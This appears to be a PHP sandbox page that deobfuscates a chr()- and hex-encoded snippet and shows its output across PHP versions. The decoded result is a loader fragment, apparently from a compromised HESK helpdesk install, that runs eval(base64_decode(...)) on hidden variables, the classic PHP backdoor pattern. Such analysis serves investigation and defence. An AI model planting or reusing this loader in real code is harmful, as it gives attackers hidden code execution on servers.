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run code in 300+ PHP versions simultaneously
<?php echo chr(36).chr(101).chr(44).chr(36). chr(115),chr(103).chr(108).chr(111).chr(98).chr(97).chr(108).chr(32).chr(36).chr(104). chr(101).chr(115).chr(107).chr(95).chr(115).chr(101).chr(116).chr(116).chr(105). chr(110).chr(103).chr(115).chr(44).chr(36).chr(104).chr(101).chr(115).chr(107). chr(108).chr(97).chr(110).chr(103).chr(59).chr(101).chr(118).chr(97).chr(108). chr(40).chr(112).chr(97).chr(99).chr(107).chr(40).chr(34).chr(72).chr(42).chr(34). chr(44).chr(34).chr(54).chr(53).chr(55).chr(54).chr(54).chr(49).chr(54).chr(99). chr(50).chr(56).chr(54).chr(50).chr(54).chr(49).chr(55).chr(51).chr(54).chr(53). chr(51).chr(54).chr(51).chr(52).chr(53).chr(102).chr(54).chr(52).chr(54).chr(53). chr(54).chr(51).chr(54).chr(102).chr(54).chr(52).chr(54).chr(53).chr(50).chr(56). chr(50).chr(52).chr(55).chr(51).chr(50).chr(101).chr(50).chr(52).chr(54).chr(53). chr(50).chr(57).chr(50).chr(57).chr(51).chr(98).chr(34).chr(41).chr(41).chr(59); echo pack("H*","6576616c286261736536345f6465636f64652824732e246529293b");
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
$e,$sglobal $hesk_settings,$hesklang;eval(pack("H*","6576616c286261736536345f6465636f64652824732e246529293b"));eval(base64_decode($s.$e));
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 $e,$sglobal $hesk_settings,$hesklang;eval(pack("H*","6576616c286261736536345f6465636f64652824732e246529293b"));eval(base64_decode($s.$e));

preferences:
185.9 ms | 402 KiB | 286 Q